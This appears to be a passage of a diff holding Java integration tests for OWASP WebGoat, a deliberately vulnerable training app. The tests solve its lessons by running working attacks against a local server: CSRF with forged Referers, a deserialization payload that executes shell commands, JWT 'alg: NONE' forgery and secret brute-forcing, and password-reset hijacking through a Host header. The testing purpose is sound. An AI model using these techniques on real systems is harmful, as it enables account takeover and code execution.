.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.multiPart("file", htmlName, htmlContent.getBytes())
|
||||
.post(webWolfUrl("/WebWolf/fileupload"))
|
||||
.then()
|
||||
.extract().response().getBody().asString();
|
||||
}
|
||||
|
||||
private String callTrickHtml(String htmlName) {
|
||||
String result = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrl("/files/"+getWebgoatUser()+"/"+htmlName))
|
||||
.then()
|
||||
.extract().response().getBody().asString();
|
||||
result = result.substring(8+result.indexOf("action=\""));
|
||||
result = result.substring(0, result.indexOf("\""));
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
private void checkAssignment3(String goatURL) {
|
||||
|
||||
String flag = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("Referer", webWolfUrl("/files/fake.html"))
|
||||
.post(goatURL)
|
||||
.then()
|
||||
.extract().path("flag").toString();
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("confirmFlagVal", flag);
|
||||
checkAssignment(url("/WebGoat/csrf/confirm-flag-1"), params, true);
|
||||
}
|
||||
|
||||
private void checkAssignment4(String goatURL) {
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("reviewText", "test review");
|
||||
params.put("stars", "5");
|
||||
params.put("validateReq", "2aa14227b9a13d0bede0388a7fba9aa9");//always the same token is the weakness
|
||||
|
||||
boolean result = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("Referer", webWolfUrl("/files/fake.html"))
|
||||
.formParams(params)
|
||||
.post(goatURL)
|
||||
.then()
|
||||
.extract().path("lessonCompleted");
|
||||
assertEquals(true, result);
|
||||
|
||||
}
|
||||
|
||||
private void checkAssignment7(String goatURL) {
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!", "\"}");
|
||||
|
||||
String flag = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("Referer", webWolfUrl("/files/fake.html"))
|
||||
.contentType(ContentType.TEXT)
|
||||
.body("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!"+ "=\"}")
|
||||
.post(goatURL)
|
||||
.then()
|
||||
.extract().asString();
|
||||
flag = flag.substring(9+flag.indexOf("flag is:"));
|
||||
flag = flag.substring(0, flag.indexOf("\""));
|
||||
|
||||
params.clear();
|
||||
params.put("confirmFlagVal", flag);
|
||||
checkAssignment(url("/WebGoat/csrf/feedback"), params, true);
|
||||
|
||||
}
|
||||
|
||||
private void checkAssignment8(String goatURL) {
|
||||
|
||||
//first make sure there is an attack csrf- user
|
||||
registerCSRFUser();
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("username", "csrf-"+getWebgoatUser());
|
||||
params.put("password","password");
|
||||
|
||||
//login and get the new cookie
|
||||
String newCookie = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("Referer", webWolfUrl("/files/fake.html"))
|
||||
.params(params)
|
||||
.post(goatURL)
|
||||
.then()
|
||||
.extract().cookie("JSESSIONID");
|
||||
|
||||
//select the lesson
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", newCookie)
|
||||
.get(url("CSRF.lesson.lesson"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
|
||||
//click on the assignment
|
||||
boolean result = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", newCookie)
|
||||
.post(url("/csrf/login"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted");
|
||||
|
||||
//vaidate the result
|
||||
assertEquals(true, result);
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Try to register the new user. Ignore the result.
|
||||
*/
|
||||
public void registerCSRFUser() {
|
||||
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.formParam("username", "csrf-"+getWebgoatUser())
|
||||
.formParam("password", "password")
|
||||
.formParam("matchingPassword", "password")
|
||||
.formParam("agree", "agree")
|
||||
.post(url("register.mvc"));
|
||||
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,34 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import org.dummy.insecure.framework.VulnerableTaskHolder;
|
||||
import org.junit.Test;
|
||||
import org.owasp.webgoat.deserialization.SerializationHelper;
|
||||
|
||||
public class DeserializationTest extends IntegrationTest {
|
||||
|
||||
private static String OS = System.getProperty("os.name").toLowerCase();
|
||||
|
||||
@Test
|
||||
public void runTests() throws IOException {
|
||||
startLesson("InsecureDeserialization");
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
|
||||
if (OS.indexOf("win")>-1) {
|
||||
params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
|
||||
} else {
|
||||
params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
|
||||
}
|
||||
checkAssignment(url("/WebGoat/InsecureDeserialization/task"),params,true);
|
||||
|
||||
checkResults("/InsecureDeserialization/");
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
@ -0,0 +1,142 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.Assert;
|
||||
import org.junit.Test;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
public class GeneralLessonTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
public void httpBasics() {
|
||||
startLesson("HttpBasics");
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("person", "goatuser");
|
||||
checkAssignment(url("HttpBasics/attack1"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("answer", "POST");
|
||||
params.put("magic_answer", "33");
|
||||
params.put("magic_num", "4");
|
||||
checkAssignment(url("HttpBasics/attack2"), params, false);
|
||||
|
||||
params.clear();
|
||||
params.put("answer", "POST");
|
||||
params.put("magic_answer", "33");
|
||||
params.put("magic_num", "33");
|
||||
checkAssignment(url("HttpBasics/attack2"), params, true);
|
||||
|
||||
checkResults("/HttpBasics/");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void httpProxies() {
|
||||
startLesson("HttpProxies");
|
||||
Assert.assertThat(RestAssured.given()
|
||||
.when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()).header("x-request-intercepted", "true")
|
||||
.contentType(ContentType.JSON)
|
||||
.get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
|
||||
.then()
|
||||
.statusCode(200).extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
|
||||
checkResults("/HttpProxies/");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void cia() {
|
||||
startLesson("CIA");
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("question_0_solution", "Solution 3: By stealing a database where names and emails are stored and uploading it to a website.");
|
||||
params.put("question_1_solution", "Solution 1: By changing the names and emails of one or more users stored in a database.");
|
||||
params.put("question_2_solution", "Solution 4: By launching a denial of service attack on the servers.");
|
||||
params.put("question_3_solution", "Solution 2: The systems security is compromised even if only one goal is harmed.");
|
||||
checkAssignment(url("/WebGoat/cia/quiz"), params, true);
|
||||
checkResults("/cia/");
|
||||
|
||||
}
|
||||
|
||||
@Test
|
||||
public void securePasswords() {
|
||||
startLesson("SecurePasswords");
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("password", "ajnaeliclm^&&@kjn.");
|
||||
checkAssignment(url("/WebGoat/SecurePasswords/assignment"), params, true);
|
||||
checkResults("SecurePasswords/");
|
||||
|
||||
startLesson("AuthBypass");
|
||||
params.clear();
|
||||
params.put("secQuestion2", "John");
|
||||
params.put("secQuestion3", "Main");
|
||||
params.put("jsEnabled", "1");
|
||||
params.put("verifyMethod", "SEC_QUESTIONS");
|
||||
params.put("userId", "12309746");
|
||||
checkAssignment(url("/WebGoat/auth-bypass/verify-account"), params, true);
|
||||
checkResults("/auth-bypass/");
|
||||
|
||||
startLesson("HttpProxies");
|
||||
Assert.assertThat(RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()).header("x-request-intercepted", "true")
|
||||
.contentType(ContentType.JSON)
|
||||
.get(url("/WebGoat/HttpProxies/intercept-request?changeMe=Requests are tampered easily")).then()
|
||||
.statusCode(200).extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
checkResults("/HttpProxies/");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void chrome() {
|
||||
startLesson("ChromeDevTools");
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("param1", "42");
|
||||
params.put("param2", "24");
|
||||
|
||||
String result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("webgoat-requested-by", "dom-xss-vuln")
|
||||
.header("X-Requested-With", "XMLHttpRequest")
|
||||
.formParams(params)
|
||||
.post(url("/WebGoat/CrossSiteScripting/phone-home-xss"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("output");
|
||||
String secretNumber = result.substring("phoneHome Response is ".length());
|
||||
|
||||
params.clear();
|
||||
params.put("successMessage", secretNumber);
|
||||
checkAssignment(url("/WebGoat/ChromeDevTools/dummy"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("number", "24");
|
||||
params.put("network_num", "24");
|
||||
checkAssignment(url("/WebGoat/ChromeDevTools/network"), params, true);
|
||||
|
||||
checkResults("/ChromeDevTools/");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void authByPass() {
|
||||
startLesson("AuthBypass");
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("secQuestion2", "John");
|
||||
params.put("secQuestion3", "Main");
|
||||
params.put("jsEnabled", "1");
|
||||
params.put("verifyMethod", "SEC_QUESTIONS");
|
||||
params.put("userId", "12309746");
|
||||
checkAssignment(url("/auth-bypass/verify-account"), params, true);
|
||||
checkResults("/auth-bypass/");
|
||||
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,282 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
import lombok.Getter;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.After;
|
||||
import org.junit.Assert;
|
||||
import org.junit.Before;
|
||||
import org.junit.BeforeClass;
|
||||
import org.owasp.webwolf.WebWolf;
|
||||
import org.springframework.boot.builder.SpringApplicationBuilder;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.net.Socket;
|
||||
import java.util.Map;
|
||||
import java.util.UUID;
|
||||
|
||||
import static io.restassured.RestAssured.given;
|
||||
|
||||
public abstract class IntegrationTest {
|
||||
|
||||
protected static int WG_PORT = 8080;
|
||||
protected static int WW_PORT = 9090;
|
||||
private static String WEBGOAT_URL = "http://127.0.0.1:" + WG_PORT + "/WebGoat/";
|
||||
private static String WEBWOLF_URL = "http://127.0.0.1:" + WW_PORT + "/";
|
||||
private static boolean WG_SSL = false;//enable this if you want to run the test on ssl
|
||||
|
||||
@Getter
|
||||
private String webGoatCookie;
|
||||
@Getter
|
||||
private String webWolfCookie;
|
||||
@Getter
|
||||
private String webgoatUser = UUID.randomUUID().toString();
|
||||
|
||||
private static boolean started = false;
|
||||
|
||||
@BeforeClass
|
||||
public static void beforeAll() {
|
||||
if (WG_SSL) {
|
||||
WEBGOAT_URL = WEBGOAT_URL.replace("http:", "https:");
|
||||
}
|
||||
if (!started) {
|
||||
started = true;
|
||||
if (!isAlreadyRunning(WG_PORT)) {
|
||||
SpringApplicationBuilder wgs = new SpringApplicationBuilder(StartWebGoat.class)
|
||||
.properties(Map.of("spring.config.name", "application-webgoat,application-inttest", "WEBGOAT_SSLENABLED", WG_SSL, "WEBGOAT_PORT", WG_PORT));
|
||||
wgs.run();
|
||||
|
||||
}
|
||||
if (!isAlreadyRunning(WW_PORT)) {
|
||||
SpringApplicationBuilder wws = new SpringApplicationBuilder(WebWolf.class)
|
||||
.properties(Map.of("spring.config.name", "application-webwolf,application-inttest", "WEBWOLF_PORT", WW_PORT));
|
||||
wws.run();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static boolean isAlreadyRunning(int port) {
|
||||
try (var ignored = new Socket("127.0.0.1", port)) {
|
||||
return true;
|
||||
} catch (IOException e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
protected String url(String url) {
|
||||
url = url.replaceFirst("/WebGoat/", "");
|
||||
url = url.replaceFirst("/WebGoat", "");
|
||||
url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
|
||||
return WEBGOAT_URL + url;
|
||||
}
|
||||
|
||||
protected String webWolfUrl(String url) {
|
||||
url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
|
||||
return WEBWOLF_URL + url;
|
||||
}
|
||||
|
||||
@Before
|
||||
public void login() {
|
||||
|
||||
String location = given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.formParam("username", webgoatUser)
|
||||
.formParam("password", "password")
|
||||
.post(url("login")).then()
|
||||
.cookie("JSESSIONID")
|
||||
.statusCode(302)
|
||||
.extract().header("Location");
|
||||
if (location.endsWith("?error")) {
|
||||
webGoatCookie = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.formParam("username", webgoatUser)
|
||||
.formParam("password", "password")
|
||||
.formParam("matchingPassword", "password")
|
||||
.formParam("agree", "agree")
|
||||
.post(url("register.mvc"))
|
||||
.then()
|
||||
.cookie("JSESSIONID")
|
||||
.statusCode(302)
|
||||
.extract()
|
||||
.cookie("JSESSIONID");
|
||||
} else {
|
||||
webGoatCookie = given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.formParam("username", webgoatUser)
|
||||
.formParam("password", "password")
|
||||
.post(url("login")).then()
|
||||
.cookie("JSESSIONID")
|
||||
.statusCode(302)
|
||||
.extract().cookie("JSESSIONID");
|
||||
}
|
||||
|
||||
webWolfCookie = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.formParam("username", webgoatUser)
|
||||
.formParam("password", "password")
|
||||
.post(WEBWOLF_URL + "login")
|
||||
.then()
|
||||
.cookie("WEBWOLFSESSION")
|
||||
.statusCode(302)
|
||||
.extract()
|
||||
.cookie("WEBWOLFSESSION");
|
||||
}
|
||||
|
||||
@After
|
||||
public void logout() {
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.get(url("logout"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
}
|
||||
|
||||
/**
|
||||
* At start of a lesson. The .lesson.lesson is visited and the lesson is reset.
|
||||
*
|
||||
* @param lessonName
|
||||
*/
|
||||
public void startLesson(String lessonName) {
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url(lessonName + ".lesson.lesson"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/restartlesson.mvc"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
}
|
||||
|
||||
/**
|
||||
* Helper method for most common type of test.
|
||||
* POST with parameters.
|
||||
* Checks for 200 and lessonCompleted as indicated by expectedResult
|
||||
*
|
||||
* @param url
|
||||
* @param params
|
||||
* @param expectedResult
|
||||
*/
|
||||
public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {
|
||||
Assert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParams(params)
|
||||
.post(url)
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
|
||||
}
|
||||
|
||||
/**
|
||||
* Helper method for most common type of test.
|
||||
* PUT with parameters.
|
||||
* Checks for 200 and lessonCompleted as indicated by expectedResult
|
||||
*
|
||||
* @param url
|
||||
* @param params
|
||||
* @param expectedResult
|
||||
*/
|
||||
public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
|
||||
Assert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParams(params)
|
||||
.put(url)
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
|
||||
}
|
||||
|
||||
public void checkResults(String prefix) {
|
||||
Assert.assertThat(RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/lessonoverview.mvc"))
|
||||
.then()
|
||||
.statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true)));
|
||||
|
||||
Assert.assertThat(RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/lessonoverview.mvc"))
|
||||
.then()
|
||||
.statusCode(200).extract().jsonPath().getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
|
||||
|
||||
}
|
||||
|
||||
public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) {
|
||||
Assert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(contentType)
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.body(body)
|
||||
.post(url)
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
|
||||
}
|
||||
|
||||
public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
|
||||
Assert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.queryParams(params)
|
||||
.get(url)
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
|
||||
}
|
||||
|
||||
public String getWebGoatServerPath() throws IOException {
|
||||
|
||||
//read path from server
|
||||
String result = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/WebGoat/xxe/tmpdir"))
|
||||
.then()
|
||||
.extract().response().getBody().asString();
|
||||
result = result.replace("%20", " ");
|
||||
return result;
|
||||
}
|
||||
|
||||
public String getWebWolfServerPath() throws IOException {
|
||||
|
||||
//read path from server
|
||||
String result = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrl("/tmpdir"))
|
||||
.then()
|
||||
.extract().response().getBody().asString();
|
||||
result = result.replace("%20", " ");
|
||||
return result;
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -0,0 +1,139 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.Charset;
|
||||
import java.security.InvalidKeyException;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.time.Instant;
|
||||
import java.util.Base64;
|
||||
import java.util.Calendar;
|
||||
import java.util.Date;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.Assert;
|
||||
import org.junit.Before;
|
||||
import org.junit.Test;
|
||||
import org.owasp.webgoat.jwt.JWTSecretKeyEndpoint;
|
||||
|
||||
import com.fasterxml.jackson.databind.JsonNode;
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import com.fasterxml.jackson.databind.node.ObjectNode;
|
||||
|
||||
import io.jsonwebtoken.Jwt;
|
||||
import io.jsonwebtoken.JwtException;
|
||||
import io.jsonwebtoken.Jwts;
|
||||
import io.jsonwebtoken.SignatureAlgorithm;
|
||||
import io.jsonwebtoken.impl.TextCodec;
|
||||
import io.restassured.RestAssured;
|
||||
|
||||
public class JWTLessonTest extends IntegrationTest {
|
||||
|
||||
@Before
|
||||
public void initTest() {
|
||||
|
||||
}
|
||||
|
||||
@Test
|
||||
public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException {
|
||||
|
||||
startLesson("JWT");
|
||||
|
||||
resetVotes();
|
||||
|
||||
findPassword();
|
||||
|
||||
// checkResults("/JWT/");
|
||||
|
||||
}
|
||||
|
||||
private String generateToken(String key) {
|
||||
|
||||
return Jwts.builder()
|
||||
.setIssuer("WebGoat Token Builder")
|
||||
.setAudience("webgoat.org")
|
||||
.setIssuedAt(Calendar.getInstance().getTime())
|
||||
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
|
||||
.setSubject("tom@webgoat.org")
|
||||
.claim("username", "WebGoat")
|
||||
.claim("Email", "tom@webgoat.org")
|
||||
.claim("Role", new String[] {"Manager", "Project Administrator"})
|
||||
.signWith(SignatureAlgorithm.HS256, key).compact();
|
||||
}
|
||||
|
||||
private String getSecretToken(String token) {
|
||||
for (String key : JWTSecretKeyEndpoint.SECRETS) {
|
||||
try {
|
||||
Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);
|
||||
} catch (JwtException e) {
|
||||
continue;
|
||||
}
|
||||
return TextCodec.BASE64.encode(key);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {
|
||||
|
||||
String accessToken = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/WebGoat/JWT/secret/gettoken"))
|
||||
.then()
|
||||
.extract().response().asString();
|
||||
|
||||
String secret = getSecretToken(accessToken);
|
||||
|
||||
Assert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParam("token", generateToken(secret))
|
||||
.post(url("/WebGoat/JWT/secret"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
|
||||
}
|
||||
|
||||
private void resetVotes() throws IOException {
|
||||
String accessToken = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/WebGoat/JWT/votings/login?user=Tom"))
|
||||
.then()
|
||||
.extract().cookie("access_token");
|
||||
|
||||
String header = accessToken.substring(0, accessToken.indexOf("."));
|
||||
header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
|
||||
|
||||
String body = accessToken.substring(1+accessToken.indexOf("."), accessToken.lastIndexOf("."));
|
||||
body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
|
||||
|
||||
ObjectMapper mapper = new ObjectMapper();
|
||||
JsonNode headerNode = mapper.readTree(header);
|
||||
headerNode = ((ObjectNode) headerNode).put("alg","NONE");
|
||||
|
||||
JsonNode bodyObject = mapper.readTree(body);
|
||||
bodyObject = ((ObjectNode) bodyObject).put("admin","true");
|
||||
|
||||
String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
|
||||
.concat(".")
|
||||
.concat(new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes())).toString())
|
||||
.concat(".").replace("=", "");
|
||||
|
||||
Assert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.cookie("access_token", replacedToken)
|
||||
.post(url("/WebGoat/JWT/votings"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,76 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import org.assertj.core.api.Assertions;
|
||||
import org.junit.Test;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
public class PasswordResetLessonTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
public void solveAssignment() {
|
||||
//WebGoat
|
||||
startLesson("PasswordReset");
|
||||
clickForgotEmailLink("tom@webgoat-cloud.org");
|
||||
|
||||
//WebWolf
|
||||
var link = getPasswordResetLinkFromLandingPage();
|
||||
|
||||
//WebGoat
|
||||
changePassword(link);
|
||||
checkAssignment(url("PasswordReset/reset/login"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), true);
|
||||
}
|
||||
|
||||
@Test
|
||||
public void sendEmailShouldBeAvailabeInWebWolf() {
|
||||
startLesson("PasswordReset");
|
||||
clickForgotEmailLink(getWebgoatUser() + "@webgoat.org");
|
||||
|
||||
var responseBody = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrl("/WebWolf/mail"))
|
||||
.then()
|
||||
.extract().response().getBody().asString();
|
||||
|
||||
Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
|
||||
}
|
||||
|
||||
private void changePassword(String link) {
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParams("resetLink", link, "password", "123456")
|
||||
.post(url("PasswordReset/reset/change-password"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
}
|
||||
|
||||
private String getPasswordResetLinkFromLandingPage() {
|
||||
var responseBody = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrl("WebWolf/requests"))
|
||||
.then()
|
||||
.extract().response().getBody().asString();
|
||||
int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
|
||||
var link = responseBody.substring(startIndex + "/PasswordReset/reset/reset-password/".length(), responseBody.indexOf(",", startIndex) - 1);
|
||||
return link;
|
||||
}
|
||||
|
||||
private void clickForgotEmailLink(String user) {
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.header("host", "localhost:9090")
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParams("email", user)
|
||||
.post(url("PasswordReset/ForgotPassword/create-password-reset-link"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
}
|
||||
}
|
@ -0,0 +1,43 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.response.Response;
|
||||
import org.assertj.core.api.Assertions;
|
||||
import org.junit.Test;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.Callable;
|
||||
import java.util.concurrent.ExecutionException;
|
||||
import java.util.concurrent.ExecutorService;
|
||||
import java.util.concurrent.Executors;
|
||||
import java.util.stream.Collectors;
|
||||
import java.util.stream.IntStream;
|
||||
|
||||
public class ProgressRaceConditionTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
public void runTests() throws InterruptedException {
|
||||
startLesson("Challenge1");
|
||||
|
||||
Callable<Response> call = () ->
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParams(Map.of("flag", "test"))
|
||||
.post(url("/challenge/flag/"));
|
||||
ExecutorService executorService = Executors.newFixedThreadPool(20);
|
||||
List<? extends Callable<Response>> flagCalls = IntStream.range(0, 20).mapToObj(i -> call).collect(Collectors.toList());
|
||||
var responses = executorService.invokeAll(flagCalls);
|
||||
|
||||
//A certain amount of parallel calls should fail as optimistic locking in DB is applied
|
||||
Assertions.assertThat(responses.stream().filter(r -> {
|
||||
try {
|
||||
return r.get().getStatusCode() == 500;
|
||||
} catch (InterruptedException | ExecutionException e) {
|
||||
throw new IllegalStateException(e);
|
||||
}
|
||||
}).count()).isGreaterThan(8);
|
||||
}
|
||||
}
|
@ -0,0 +1,49 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import org.junit.Test;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
